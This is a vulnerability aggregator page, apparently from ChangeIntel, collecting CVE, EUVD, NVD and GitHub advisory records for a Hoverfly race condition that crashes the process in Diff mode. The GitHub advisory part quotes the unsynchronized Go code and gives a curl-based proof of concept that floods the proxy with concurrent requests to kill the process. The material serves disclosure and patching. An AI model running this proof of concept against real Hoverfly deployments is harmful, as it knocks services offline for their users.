Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-50013
PublishedHoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.
- Source published
- 11 Sep 2026 21:27:40 UTC
- Source modified
- 14 Sep 2026 18:17:21 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-76755
PublishedHoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 11, 2026, 9:27:40 PM
dateUpdated: Sep 14, 2026, 6:17:21 PM
- Source published
- Sep 11, 2026, 9:27:40 PM (timezone not stated)
- Source modified
- Sep 14, 2026, 6:17:21 PM (timezone not stated)
- Observed here
- 11 Nov 2026 13:05:34 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2026-50013
PublishedHoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-362 · CWE-820
Original publisher date fields
published: 2026-09-11T22:16:37.813
lastModified: 2026-09-30T19:57:08.043
- Source published
- 11 Sep 2026 22:16:37 UTC
- Source modified
- 30 Sep 2026 19:57:08 UTC
- Observed here
- 25 Oct 2026 12:17:38 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-qrh4-p6v4-mrfg
Published### Summary: When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. ### Details: **1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):** ```go func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) { if len(diffReport.DiffEntries) > 0 { diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE } } ``` **2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):** Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously. **3. Go's runtime detects concurrent map access and terminates the process:** Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`. **4. No mutex protection exists on `responsesDiff`:** The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access. ### Environment: - **Hoverfly version:** v1.12.7 - **Operating System:** macOS Darwin 25.4.0 - **Go version:** 1.26.2 - **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`) ### POC: **Step 1: Start Hoverfly and set Diff mode** ```bash ./hoverfly & sleep 2 # Set diff mode curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \ -H "Content-Type: application/json" \ -d '{"mode": "diff"}' # Load a simulation for diff comparison curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "expected"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` **Step 2: Send concurrent requests to trigger the race** ```bash # Send 50 concurrent requests, race condition triggers within seconds for i in $(seq 1 50); do curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" & done wait ``` **Step 3: Observe the crash** ```bash # Check if process is still running pgrep -f hoverfly ``` **crash output on Hoverfly v1.12.7:** ``` fatal error: concurrent map read and map write goroutine 892 [running]: github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...) /core/hoverfly_service.go:419 github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...) ``` The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately. ### Impact: - **Full denial of service:** The process terminates immediately and cannot be recovered without a restart - **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests - **No admin API access required:** Only proxy port access is needed to trigger the crash - **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed - **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable
- Source published
- 14 Jul 2026 18:03:10 UTC
- Source modified
- 21 Jul 2026 19:19:02 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH
osv · GO-2026-5977
PublishedHoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly
- Source published
- 17 Jul 2026 19:42:05 UTC
- Source modified
- 21 Jul 2026 19:15:30 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.